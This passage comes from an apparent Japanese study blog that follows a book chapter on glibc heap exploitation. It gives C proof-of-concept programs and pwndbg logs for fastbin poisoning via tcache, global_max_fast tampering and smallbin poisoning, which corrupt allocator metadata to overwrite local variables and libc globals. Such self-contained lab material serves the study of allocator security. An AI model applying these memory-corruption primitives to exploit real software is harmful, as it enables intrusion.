fdメンバを書き換えた後の状態を見てみます。fastbin に、ローカル変数の malloc_chunk構造体の fc が繋がっていることが確認できます。これにより、2回目の calloc関数の実行で、ローカル変数の malloc_chunk構造体の fc のアドレス(+0x10)を取得することが出来て、書き換えることが出来るようになります。
$ gdb -q ./attack_fastbin_poisoning_patch Reading symbols from ./attack_fastbin_poisoning_patch... pwndbg> set debug-file-directory /home/user/svn/oss/glibc231-dbg/usr/lib/debug pwndbg> set resolve-heap-via-heuristic force Set the strategy to resolve heap via heuristic to 'force'. pwndbg> start (fdメンバを書き換える直前まで進める) pwndbg> p &fc $2 = (malloc_chunk *) 0x7fffffffdd80 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x55555555a000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x55555555a290 Size: 0x410 (with flag bits: 0x411) Free chunk (fastbins) | PREV_INUSE Addr: 0x55555555a6a0 Size: 0x20 (with flag bits: 0x21) fd: 0x00 Free chunk (tcachebins) | PREV_INUSE Addr: 0x55555555a6c0 Size: 0x20 (with flag bits: 0x21) fd: 0x00 Free chunk (tcachebins) | PREV_INUSE Addr: 0x55555555a6e0 Size: 0x20 (with flag bits: 0x21) fd: 0x55555555a6d0 Free chunk (tcachebins) | PREV_INUSE Addr: 0x55555555a700 Size: 0x20 (with flag bits: 0x21) fd: 0x55555555a6f0 Free chunk (tcachebins) | PREV_INUSE Addr: 0x55555555a720 Size: 0x20 (with flag bits: 0x21) fd: 0x55555555a710 Free chunk (tcachebins) | PREV_INUSE Addr: 0x55555555a740 Size: 0x20 (with flag bits: 0x21) fd: 0x55555555a730 Free chunk (tcachebins) | PREV_INUSE Addr: 0x55555555a760 Size: 0x20 (with flag bits: 0x21) fd: 0x55555555a750 Free chunk (tcachebins) | PREV_INUSE Addr: 0x55555555a780 Size: 0x20 (with flag bits: 0x21) fd: 0x55555555a770 Top chunk | PREV_INUSE Addr: 0x55555555a7a0 Size: 0x20860 (with flag bits: 0x20861) pwndbg> fastbins fastbins 0x20: 0x55555555a6a0 ◂— 0 pwndbg> n pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x55555555a000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x55555555a290 Size: 0x410 (with flag bits: 0x411) Free chunk (fastbins) | PREV_INUSE Addr: 0x55555555a6a0 Size: 0x20 (with flag bits: 0x21) fd: 0x7fffffffdd80 Free chunk (tcachebins) | PREV_INUSE Addr: 0x55555555a6c0 Size: 0x20 (with flag bits: 0x21) fd: 0x00 Free chunk (tcachebins) | PREV_INUSE Addr: 0x55555555a6e0 Size: 0x20 (with flag bits: 0x21) fd: 0x55555555a6d0 Free chunk (tcachebins) | PREV_INUSE Addr: 0x55555555a700 Size: 0x20 (with flag bits: 0x21) fd: 0x55555555a6f0 Free chunk (tcachebins) | PREV_INUSE Addr: 0x55555555a720 Size: 0x20 (with flag bits: 0x21) fd: 0x55555555a710 Free chunk (tcachebins) | PREV_INUSE Addr: 0x55555555a740 Size: 0x20 (with flag bits: 0x21) fd: 0x55555555a730 Free chunk (tcachebins) | PREV_INUSE Addr: 0x55555555a760 Size: 0x20 (with flag bits: 0x21) fd: 0x55555555a750 Free chunk (tcachebins) | PREV_INUSE Addr: 0x55555555a780 Size: 0x20 (with flag bits: 0x21) fd: 0x55555555a770 Top chunk | PREV_INUSE Addr: 0x55555555a7a0 Size: 0x20860 (with flag bits: 0x20861) pwndbg> fastbins fastbins 0x20: 0x55555555a6a0 —▸ 0x7fffffffdd80 ◂— 0x6f6c6c6548 /* 'Hello' */
ここでは、「tcache を経由したチャンク確保」として、もう一つのソースコード(attack_fastbin_poisoning_via_tcache.c)があります。
これは、fastbin で管理されているチャンクは、確保のときにチャンクの sizeメンバのサイズチェックが行われます。サイズチェックを回避するために、対象のチャンクを fastbin から tcache(確保時にサイズチェックは行われない)に移動させる方法です。
(fastbin 向けに)malloc関数の実行、tcache をフルにする calloc関数と free関数の実行、free関数の実行(fastbin に空きチャンクが登録される)までは先ほどのソースコードと同じです。
fastbin の空きチャンクの fdメンバに設定するポインタが、先ほどはローカル変数で作った疑似的なチャンクでしたが、今回は、ローカル変数の var のアドレス(-0x10)を設定しています。-16byte しているのは、fdメンバは、チャンクの先頭アドレスを登録するためです(var はユーザが読み書きできる領域となる)。
その後、malloc関数を実行して、tcache に 1つ空きを作ります。次の calloc関数で fastbin から確保された後、後続のチャンクが tcache に移動されます。
あとは、先ほどのソースコードと同じで、malloc関数を実行して、tcache のチャンク(ローカル変数の var)を確保させて、そのポインタを書き換えると、ローカル変数の var が書き換わります。
#include <stdio.h> #include <stdlib.h> #include "malloc_struct.h" int main(void){ unsigned long *m, *victim; malloc_chunk *c; unsigned long var = 0xdeadbeef; printf("&var : %p\nvar = %#lx\n\n", &var, var); m = malloc(0x18); // M c = mem2chunk(m); for(int i=0; i<7; i++) free(calloc(1, 0x18)); free(m); // to fastbin puts("Exploit!"); c->fd = ((void*)&var)-0x10; // vuln malloc(0x18); // from tcache (counts--) calloc(1, 0x18); // from fastbin (fastbin -> tcache) victim = malloc(0x18); // alloc var from tcache *victim = 0xcafebabe; // overwrite printf("victim = %p\nvar = %#lx\n", victim, var); }
実行してみます。glibc-2.36 の方は、先ほどと同様に、セグメンテーションフォールトが発生しました。glibc-2.31 を使うようにすると実行できました。
$ ./attack_fastbin_poisoning_via_tcache &var : 0x7ffe6667e3d8 var = 0xdeadbeef Exploit! Segmentation fault $ cp attack_fastbin_poisoning_via_tcache attack_fastbin_poisoning_via_tcache_patch $ patchelf --set-rpath /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu --set-interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so ./attack_fastbin_poisoning_via_tcache_patch $ ./attack_fastbin_poisoning_via_tcache_patch &var : 0x7ffc93154f98 var = 0xdeadbeef Exploit! victim = 0x7ffc93154f98 var = 0xcafebabe
34.8.7:global_max_fastの改竄
ここでは、「34.8.4:mp_.tcache_binsの改竄」と同じような内容で、fastbin が管理できるチャンクのサイズ(0x80)を定義しているグローバル変数の global_max_fast を書き換えて、大きなサイズのチャンクを fastbin で管理できるように誤認識させて、アリーナの構造体(malloc_state構造体でグローバル変数の main_arena)の fastbinsY の範囲を超えたところにチャンクのアドレスを書き込みができることを解説しています。
ソースコード(attack_tamper_max_fast.c)は以下です。
malloc関数のアドレスから libc のベースアドレスを求めて、libc 内の main_arena のアドレスと、libc 内の global_max_fast のアドレスを求めています。
0xb8 の要求サイズ(チャンクサイズは 0xc0)の malloc関数を実行して、tcache をいっぱいにして、大きなサイズのメモリを確保しています。チャンクサイズが 0xc0 なのは、fastbinsY の要素数は 10 で、0xb0 まで管理可能(global_max_fast が 0x80 なので実際に管理可能なのは 0x80 以下)ですが、その要素を 1つ超えたところが、malloc_state構造体の topメンバに当たるためです。topメンバはチャンクの未使用領域の先頭アドレスを保持しています(heapコマンドで表示されている Top chunk)。大きなサイズのメモリを確保しているのは、topメンバが書き換わったことを確認したいためだと思います。
global_max_fast を 0x80 から大きな値に書き換えた後、チャンクサイズが 0xc0 のメモリを解放します。これにより、fastbin で管理しようとして、解放したチャンクの先頭アドレスが topメンバに書き込まれたことを確認しています。
#include <stdio.h> #include <stdlib.h> static unsigned long ofs_libc_malloc = 0x09d260; static unsigned long ofs_libc_main_arena = 0x1ebb80; static unsigned long ofs_libc_max_fast = 0x1eeb80; int main(void){ unsigned long addr_libc_base; void **main_arena; size_t *global_max_fast; addr_libc_base = (unsigned long)malloc - ofs_libc_malloc; main_arena = (void*)(addr_libc_base + ofs_libc_main_arena); global_max_fast = (void*)(addr_libc_base + ofs_libc_max_fast); void *m = malloc(0xb8); // M for(int i=0; i<7; i++) free(calloc(1, 0xb8)); malloc(0x1000); // huge (useless) printf("global_max_fast : %p (%#lx)\n" , global_max_fast, *global_max_fast); printf("main_arena : %p\ntop = %p\n\n" , main_arena, main_arena[12]); printf("m = %p\n\n", m); puts("Exploit!"); *global_max_fast = 0xc0bebeef; // vuln free(m); // to fastbin (top) printf("top = %p\n", main_arena[12]); }
実行してみます。
$ ./attack_tamper_max_fast Segmentation fault $ cp attack_tamper_max_fast attack_tamper_max_fast_patch $ patchelf --set-rpath /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu --set-interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so ./attack_tamper_max_fast_patch $ ./attack_tamper_max_fast_patch global_max_fast : 0x7fe9f083db80 (0x80) main_arena : 0x7fe9f083ab80 top = 0x55d1a8635cb0 m = 0x55d1a86342a0 Exploit! top = 0x55d1a8634290
34.8.8:smallbinの汚染
smallbin からチャンクが確保される(末尾から確保される)とき、smallbin のそれ以外のチャンクは、末尾から取り出されて、tcache に移動します。このとき、取り出されたチャンクの fd を見て、1つ先(末尾なので、必ず、bin_at になる)の bk を更新します。さらに、取り出されたチャンクの bk を見て、1つ手前のチャンクの fd を更新します(1つ前のチャンクは末尾になるため fd は bin_at を指すように更新される)。後者の fd の更新時に、もとの fd の値が tcache に移動したチャンクを指しているかどうかのチェックが行われないため、無条件に fd に bin_at のアドレスが書き込むことが出来ることが解説されています。
ソースコード(attack_smallbin_poisoning.c)は以下です。
#ifdef ALLOC_STACK で、動作を変えることが出来るように実装されていますが、最初は ALLOC_STACK を定義せずにコンパイルします。
ma と mb にメモリを確保します。malloc(0) は併合されないためです。tcache をいっぱいにしておき、ma と mb のメモリを解放して、fastbin に管理させます(mb → ma の順で繋がっている)。
次の 0x400 の要求サイズの malloc関数の実行で、malloc_consolidate関数が実行されます。この動きは複雑なので、後で GDB を使って確認します。
tcache に、空きを 1つ作るために malloc関数を実行します。そして、ca->bk に var のアドレスの -0x10 をセットします。
calloc関数を実行すると、おそらく、この時点では、ma → mb の順で繋がっている smallbin の末尾から確保され(mb がユーザに返される)、smallbin の残りのチャンク(ma)は tcache に移動します。このとき、smallbin の後処理で、取り出されたチャンク(ma)の前後のチャンクの fd と bk を更新する処理が実行されます。正確に言うと、取り出されたチャンクの前のチャンクの fd と、取り出されたチャンクの後ろのチャンクの bk を更新します。前者に注目すると、取り出されたチャンク(ma)の bk は、var に書き換えているので、var の fd に bin_at のアドレスを書き込みます(後続にチャンクは存在しないため)。
#include <stdio.h> #include <stdlib.h> #include "malloc_struct.h" int main(void){ unsigned long *ma, *mb, *victim; malloc_chunk *ca; unsigned long var = 0xdeadbeef; printf("&var : %p\nvar = %#lx\n\n", &var, var); ma = malloc(0x18); ca = mem2chunk(ma); malloc(0); mb = malloc(0x18); for(int i=0; i<7; i++) free(calloc(1, 0x18)); free(ma); // to fastbin free(mb); // to fastbin malloc(0x400); // from top (malloc_consolidate()) malloc(0x18); // from tcache #ifdef ALLOC_STACK malloc(0x18); // from tcache #endif puts("Exploit!"); ca->bk = ((void*)&var) - 0x10; // vuln calloc(1, 0x18);// from smallbin (smallbin -> tcache) printf("var = %#lx\n", var); #ifdef ALLOC_STACK victim = malloc(0x18); // alloc var from tcache *victim = 0xcafebabe; // overwrite printf("\nvictim = %p\nvar = %#lx\n", victim, var); #endif }
実行してみます。glibc-2.36 でも実行できました。
$ gdb -q ./attack_smallbin_unlink Reading symbols from ./attack_smallbin_unlink... pwndbg> r &var : 0x7fffffffdd88 var = 0xdeadbeef Exploit! var = 0x7ffff7f9bcd0
GDB で確認します。途中でエラーが出たので、set resolve-heap-via-heuristic force を実行しています。
ma と mb を解放したところまで進めます。ma と mb は、fastbin で管理されています(先頭から追加されるので、mb → ma)。この後、0x400 の要求サイズで malloc関数を実行すると、malloc_consolidate関数が実行されますが、ma と mb の間に malloc(0) で確保されたチャンクがあるので、併合はされないはずです。併合の有無にかかわらず、これらのチャンクは、いったん、fastbin から unsortedbin に移動します(書籍に言及はないですが、先頭から取り出され、先頭に追加されるので、おそらく、ma → mb)。その後、unsortedbin の確保と繋ぎ替えが行われ、これらのチャンクは smallbin に移動します(末尾から取り出され、先頭から追加されるので、ma → mb)。とりあえず、ここまで進めてみます。
$ gdb -q ./attack_smallbin_unlink Reading symbols from ./attack_smallbin_unlink... pwndbg> set resolve-heap-via-heuristic force pwndbg> start pwndbg> b 19 Breakpoint 2 at 0x555555555285: file attack_smallbin_poisoning.c, line 19. pwndbg> c Continuing. &var : 0x7fffffffdd88 var = 0xdeadbeef pwndbg> n pwndbg> n pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x555555559290 Size: 0x410 (with flag bits: 0x411) Free chunk (fastbins) | PREV_INUSE Addr: 0x5555555596a0 Size: 0x20 (with flag bits: 0x21) fd: 0x555555559 Allocated chunk | PREV_INUSE Addr: 0x5555555596c0 Size: 0x20 (with flag bits: 0x21) Free chunk (fastbins) | PREV_INUSE Addr: 0x5555555596e0 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c3f9 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559700 Size: 0x20 (with flag bits: 0x21) fd: 0x555555559 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559720 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c249 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559740 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c269 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559760 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c209 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559780 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c229 Free chunk (tcachebins) | PREV_INUSE Addr: 0x5555555597a0 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c2c9 Free chunk (tcachebins) | PREV_INUSE Addr: 0x5555555597c0 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c2e9 Top chunk | PREV_INUSE Addr: 0x5555555597e0 Size: 0x20820 (with flag bits: 0x20821) pwndbg> fastbins fastbins 0x20: 0x5555555596e0 —▸ 0x5555555596a0 ◂— 0 pwndbg> n pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x555555559290 Size: 0x410 (with flag bits: 0x411) Free chunk (smallbins) | PREV_INUSE Addr: 0x5555555596a0 Size: 0x20 (with flag bits: 0x21) fd: 0x5555555596e0 bk: 0x7ffff7f9bcd0 Allocated chunk Addr: 0x5555555596c0 Size: 0x20 (with flag bits: 0x20) Free chunk (smallbins) | PREV_INUSE Addr: 0x5555555596e0 Size: 0x20 (with flag bits: 0x21) fd: 0x7ffff7f9bcd0 bk: 0x5555555596a0 Free chunk (tcachebins) Addr: 0x555555559700 Size: 0x20 (with flag bits: 0x20) fd: 0x555555559 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559720 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c249 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559740 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c269 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559760 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c209 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559780 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c229 Free chunk (tcachebins) | PREV_INUSE Addr: 0x5555555597a0 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c2c9 Free chunk (tcachebins) | PREV_INUSE Addr: 0x5555555597c0 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c2e9 Allocated chunk | PREV_INUSE Addr: 0x5555555597e0 Size: 0x410 (with flag bits: 0x411) Top chunk | PREV_INUSE Addr: 0x555555559bf0 Size: 0x20410 (with flag bits: 0x20411) pwndbg> smallbins smallbins 0x20: 0x5555555596a0 —▸ 0x5555555596e0 —▸ 0x7ffff7f9bcd0 (main_arena+112) ◂— 0x5555555596a0
次は、ca->bk を書き換えた後、calloc関数を実行して、mb がユーザに返され、ma が tcache に移動したところまで進めます。その状態を確認します。ma は、smallbin で、tcache であるような、なんか複雑な表示になっています。
あとは、var が正しく bin_at のアドレスになっていることを確認したいと思います。bin_at は 1 から始まり、smallbin は bin_at(2) から bin_at(63) までで、今回は 0x20 のチャンクなので、bin_at(2) が対象です。
var = 0x7ffff7f9bcd0 です。bin_at(bins)の先頭アドレスも 0x7ffff7f9bcd0 です。bin_at(2) を指す場合、チャンクの先頭アドレスを指すため、0x10 を引いたアドレスになります。つまり、bin_at(2) を指すということは、bin_at の先頭アドレスを指すことになりますので、var に書き込まれたアドレスは正しいことが確認できました。
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x555555559290 Size: 0x410 (with flag bits: 0x411) Free chunk (smallbins) | Free chunk (tcachebins) | PREV_INUSE Addr: 0x5555555596a0 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c2e9 bk: 0x46b446e527848a86 Allocated chunk | PREV_INUSE Addr: 0x5555555596c0 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x5555555596e0 Size: 0x20 (with flag bits: 0x21) Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559700 Size: 0x20 (with flag bits: 0x21) fd: 0x555555559 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559720 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c249 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559740 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c269 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559760 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c209 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559780 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c229 Free chunk (tcachebins) | PREV_INUSE Addr: 0x5555555597a0 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c2c9 Allocated chunk | PREV_INUSE Addr: 0x5555555597c0 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x5555555597e0 Size: 0x410 (with flag bits: 0x411) Top chunk | PREV_INUSE Addr: 0x555555559bf0 Size: 0x20410 (with flag bits: 0x20411) pwndbg> n var = 0x7ffff7f9bcd0 pwndbg> p &main_arena $2 = (struct malloc_state *) 0x7ffff7f9bc60 <main_arena> pwndbg> p main_arena $1 = { mutex = 0, flags = 0, have_fastchunks = 0, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x555555559bf0, last_remainder = 0x0, bins = {0x7ffff7f9bcc0 <main_arena+96>, 0x7ffff7f9bcc0 <main_arena+96>, 0x5555555596a0, 0x7fffffffdd78, 0x7ffff7f9bce0 <main_arena+128>, 0x7ffff7f9bce0 <main_arena+128>, 0x7ffff7f9bcf0 <main_arena+144>, 0x7ffff7f9bcf0 <main_arena+144>, 0x7ffff7f9bd00 <main_arena+160>, 0x7ffff7f9bd00 <main_arena+160>, 0x7ffff7f9bd10 <main_arena+176>, 0x7ffff7f9bd10 <main_arena+176>, 0x7ffff7f9bd20 <main_arena+192>, 0x7ffff7f9bd20 <main_arena+192>, 0x7ffff7f9bd30 <main_arena+208>, 0x7ffff7f9bd30 <main_arena+208>, 0x7ffff7f9bd40 <main_arena+224>, 0x7ffff7f9bd40 <main_arena+224>, 0x7ffff7f9bd50 <main_arena+240>, 0x7ffff7f9bd50 <main_arena+240>, 0x7ffff7f9bd60 <main_arena+256>, 0x7ffff7f9bd60 <main_arena+256>, 0x7ffff7f9bd70 <main_arena+272>, 0x7ffff7f9bd70 <main_arena+272>, 0x7ffff7f9bd80 <main_arena+288>, 0x7ffff7f9bd80 <main_arena+288>, 0x7ffff7f9bd90 <main_arena+304>, 0x7ffff7f9bd90 <main_arena+304>, 0x7ffff7f9bda0 <main_arena+320>, 0x7ffff7f9bda0 <main_arena+320>, 0x7ffff7f9bdb0 <main_arena+336>, 0x7ffff7f9bdb0 <main_arena+336>, 0x7ffff7f9bdc0 <main_arena+352>, 0x7ffff7f9bdc0 <main_arena+352>, 0x7ffff7f9bdd0 <main_arena+368>, 0x7ffff7f9bdd0 <main_arena+368>, 0x7ffff7f9bde0 <main_arena+384>, 0x7ffff7f9bde0 <main_arena+384>, 0x7ffff7f9bdf0 <main_arena+400>, 0x7ffff7f9bdf0 <main_arena+400>, 0x7ffff7f9be00 <main_arena+416>, 0x7ffff7f9be00 <main_arena+416>, 0x7ffff7f9be10 <main_arena+432>, 0x7ffff7f9be10 <main_arena+432>, 0x7ffff7f9be20 <main_arena+448>, 0x7ffff7f9be20 <main_arena+448>, 0x7ffff7f9be30 <main_arena+464>, 0x7ffff7f9be30 <main_arena+464>, 0x7ffff7f9be40 <main_arena+480>, 0x7ffff7f9be40 <main_arena+480>, 0x7ffff7f9be50 <main_arena+496>, 0x7ffff7f9be50 <main_arena+496>, 0x7ffff7f9be60 <main_arena+512>, 0x7ffff7f9be60 <main_arena+512>, 0x7ffff7f9be70 <main_arena+528>, 0x7ffff7f9be70 <main_arena+528>, 0x7ffff7f9be80 <main_arena+544>, 0x7ffff7f9be80 <main_arena+544>, 0x7ffff7f9be90 <main_arena+560>, 0x7ffff7f9be90 <main_arena+560>, 0x7ffff7f9bea0 <main_arena+576>, 0x7ffff7f9bea0 <main_arena+576>, 0x7ffff7f9beb0 <main_arena+592>, 0x7ffff7f9beb0 <main_arena+592>, 0x7ffff7f9bec0 <main_arena+608>, 0x7ffff7f9bec0 <main_arena+608>, 0x7ffff7f9bed0 <main_arena+624>, 0x7ffff7f9bed0 <main_arena+624>, 0x7ffff7f9bee0 <main_arena+640>, 0x7ffff7f9bee0 <main_arena+640>, 0x7ffff7f9bef0 <main_arena+656>, 0x7ffff7f9bef0 <main_arena+656>, 0x7ffff7f9bf00 <main_arena+672>, 0x7ffff7f9bf00 <main_arena+672>, 0x7ffff7f9bf10 <main_arena+688>, 0x7ffff7f9bf10 <main_arena+688>, 0x7ffff7f9bf20 <main_arena+704>, 0x7ffff7f9bf20 <main_arena+704>, 0x7ffff7f9bf30 <main_arena+720>, 0x7ffff7f9bf30 <main_arena+720>, 0x7ffff7f9bf40 <main_arena+736>, 0x7ffff7f9bf40 <main_arena+736>, 0x7ffff7f9bf50 <main_arena+752>, 0x7ffff7f9bf50 <main_arena+752>, 0x7ffff7f9bf60 <main_arena+768>, 0x7ffff7f9bf60 <main_arena+768>, 0x7ffff7f9bf70 <main_arena+784>, 0x7ffff7f9bf70 <main_arena+784>, 0x7ffff7f9bf80 <main_arena+800>, 0x7ffff7f9bf80 <main_arena+800>, 0x7ffff7f9bf90 <main_arena+816>, 0x7ffff7f9bf90 <main_arena+816>, 0x7ffff7f9bfa0 <main_arena+832>, 0x7ffff7f9bfa0 <main_arena+832>, 0x7ffff7f9bfb0 <main_arena+848>, 0x7ffff7f9bfb0 <main_arena+848>, 0x7ffff7f9bfc0 <main_arena+864>, 0x7ffff7f9bfc0 <main_arena+864>, 0x7ffff7f9bfd0 <main_arena+880>, 0x7ffff7f9bfd0 <main_arena+880>, 0x7ffff7f9bfe0 <main_arena+896>, 0x7ffff7f9bfe0 <main_arena+896>, 0x7ffff7f9bff0 <main_arena+912>, 0x7ffff7f9bff0 <main_arena+912>, 0x7ffff7f9c000 <main_arena+928>, 0x7ffff7f9c000 <main_arena+928>, 0x7ffff7f9c010 <main_arena+944>, 0x7ffff7f9c010 <main_arena+944>, 0x7ffff7f9c020 <main_arena+960>, 0x7ffff7f9c020 <main_arena+960>, 0x7ffff7f9c030 <main_arena+976>, 0x7ffff7f9c030 <main_arena+976>, 0x7ffff7f9c040 <main_arena+992>, 0x7ffff7f9c040 <main_arena+992>, 0x7ffff7f9c050 <main_arena+1008>, 0x7ffff7f9c050 <main_arena+1008>, 0x7ffff7f9c060 <main_arena+1024>, 0x7ffff7f9c060 <main_arena+1024>, 0x7ffff7f9c070 <main_arena+1040>, 0x7ffff7f9c070 <main_arena+1040>, 0x7ffff7f9c080 <main_arena+1056>, 0x7ffff7f9c080 <main_arena+1056>, 0x7ffff7f9c090 <main_arena+1072>, 0x7ffff7f9c090 <main_arena+1072>, 0x7ffff7f9c0a0 <main_arena+1088>, 0x7ffff7f9c0a0 <main_arena+1088>, 0x7ffff7f9c0b0 <main_arena+1104>, 0x7ffff7f9c0b0 <main_arena+1104>, 0x7ffff7f9c0c0 <main_arena+1120>, 0x7ffff7f9c0c0 <main_arena+1120>, 0x7ffff7f9c0d0 <main_arena+1136>, 0x7ffff7f9c0d0 <main_arena+1136>, 0x7ffff7f9c0e0 <main_arena+1152>, 0x7ffff7f9c0e0 <main_arena+1152>, 0x7ffff7f9c0f0 <main_arena+1168>, 0x7ffff7f9c0f0 <main_arena+1168>, 0x7ffff7f9c100 <main_arena+1184>, 0x7ffff7f9c100 <main_arena+1184>, 0x7ffff7f9c110 <main_arena+1200>, 0x7ffff7f9c110 <main_arena+1200>, 0x7ffff7f9c120 <main_arena+1216>, 0x7ffff7f9c120 <main_arena+1216>, 0x7ffff7f9c130 <main_arena+1232>, 0x7ffff7f9c130 <main_arena+1232>, 0x7ffff7f9c140 <main_arena+1248>, 0x7ffff7f9c140 <main_arena+1248>, 0x7ffff7f9c150 <main_arena+1264>, 0x7ffff7f9c150 <main_arena+1264>, 0x7ffff7f9c160 <main_arena+1280>, 0x7ffff7f9c160 <main_arena+1280>, 0x7ffff7f9c170 <main_arena+1296>, 0x7ffff7f9c170 <main_arena+1296>, 0x7ffff7f9c180 <main_arena+1312>, 0x7ffff7f9c180 <main_arena+1312>, 0x7ffff7f9c190 <main_arena+1328>, 0x7ffff7f9c190 <main_arena+1328>, 0x7ffff7f9c1a0 <main_arena+1344>, 0x7ffff7f9c1a0 <main_arena+1344>, 0x7ffff7f9c1b0 <main_arena+1360>, 0x7ffff7f9c1b0 <main_arena+1360>, 0x7ffff7f9c1c0 <main_arena+1376>, 0x7ffff7f9c1c0 <main_arena+1376>, 0x7ffff7f9c1d0 <main_arena+1392>, 0x7ffff7f9c1d0 <main_arena+1392>, 0x7ffff7f9c1e0 <main_arena+1408>, 0x7ffff7f9c1e0 <main_arena+1408>, 0x7ffff7f9c1f0 <main_arena+1424>, 0x7ffff7f9c1f0 <main_arena+1424>, 0x7ffff7f9c200 <main_arena+1440>, 0x7ffff7f9c200 <main_arena+1440>, 0x7ffff7f9c210 <main_arena+1456>, 0x7ffff7f9c210 <main_arena+1456>, 0x7ffff7f9c220 <main_arena+1472>, 0x7ffff7f9c220 <main_arena+1472>, 0x7ffff7f9c230 <main_arena+1488>, 0x7ffff7f9c230 <main_arena+1488>, 0x7ffff7f9c240 <main_arena+1504>, 0x7ffff7f9c240 <main_arena+1504>, 0x7ffff7f9c250 <main_arena+1520>, 0x7ffff7f9c250 <main_arena+1520>, 0x7ffff7f9c260 <main_arena+1536>, 0x7ffff7f9c260 <main_arena+1536>, 0x7ffff7f9c270 <main_arena+1552>, 0x7ffff7f9c270 <main_arena+1552>, 0x7ffff7f9c280 <main_arena+1568>, 0x7ffff7f9c280 <main_arena+1568>, 0x7ffff7f9c290 <main_arena+1584>, 0x7ffff7f9c290 <main_arena+1584>, 0x7ffff7f9c2a0 <main_arena+1600>, 0x7ffff7f9c2a0 <main_arena+1600>, 0x7ffff7f9c2b0 <main_arena+1616>, 0x7ffff7f9c2b0 <main_arena+1616>, 0x7ffff7f9c2c0 <main_arena+1632>, 0x7ffff7f9c2c0 <main_arena+1632>, 0x7ffff7f9c2d0 <main_arena+1648>, 0x7ffff7f9c2d0 <main_arena+1648>, 0x7ffff7f9c2e0 <main_arena+1664>, 0x7ffff7f9c2e0 <main_arena+1664>, 0x7ffff7f9c2f0 <main_arena+1680>, 0x7ffff7f9c2f0 <main_arena+1680>...}, binmap = {4, 0, 0, 0}, next = 0x7ffff7f9bc60 <main_arena>, next_free = 0x0, attached_threads = 1, system_mem = 135168, max_system_mem = 135168 } pwndbg> p &main_arena.bins $4 = (mchunkptr (*)[254]) 0x7ffff7f9bcd0 <main_arena+112>
次は、#ifdef ALLOC_STACK を定義してコンパイルしたプログラムバイナリ(attack_smallbin_tcache)をやってみます。「34.8.6:fastbinの汚染」の tcache を経由したチャンクの確保と同じような内容なので、簡単に確認します。tcache にもう 1つ空きを作っておき、var を tcache に移動させて、malloc関数を実行することで、var をメモリ確保させます。結果として、var の内容を 0xcafebabe に書き換えることが出来ています。
実行してみます。glibc-2.36 でも実行できました。
$ ./attack_smallbin_tcache Reading symbols from ./attack_smallbin_tcache... pwndbg> r &var : 0x7fffffffdd80 var = 0xdeadbeef Exploit! var = 0x5552aaaa694d victim = 0x7fffffffdd80 var = 0xcafebabe
34.8.9:largebinの汚染
largebin は、複数のサイズのチャンクが降順(サイズの大きい順)で管理されます。サイズが複数あるため、fd、bk の他に、fd_nextize と bk_nextsize が存在します。また、今回の対象(largebin の中で、1番小さいサイズ)の bin_at(64) では、1,024byte以上、1,072byte以下のチャンクが管理されます。
largebin にチャンクが追加される際、largebin の中に、同じサイズのチャンクが存在しない場合、fd_nextize と bk_nextsize のリンクが更新されます。
ここでは、その更新で、アドレスの妥当性がチェックされないことを利用して、チャンクの先頭アドレスをローカル変数に書き込むことが出来る内容が解説されています。
ソースコード(attack_largebin_link.c)は以下です。
ma のメモリ確保、併合されないための最小サイズのメモリ確保、mb のメモリ確保が行われます。ma が解放されて、サイズが大きいので unsortedbin でひとまず管理されます。
次の malloc関数の実行で、unsortedbin の確保と繋ぎ替えが行われ、ma は、unsortedbin から largebin に移動されます。
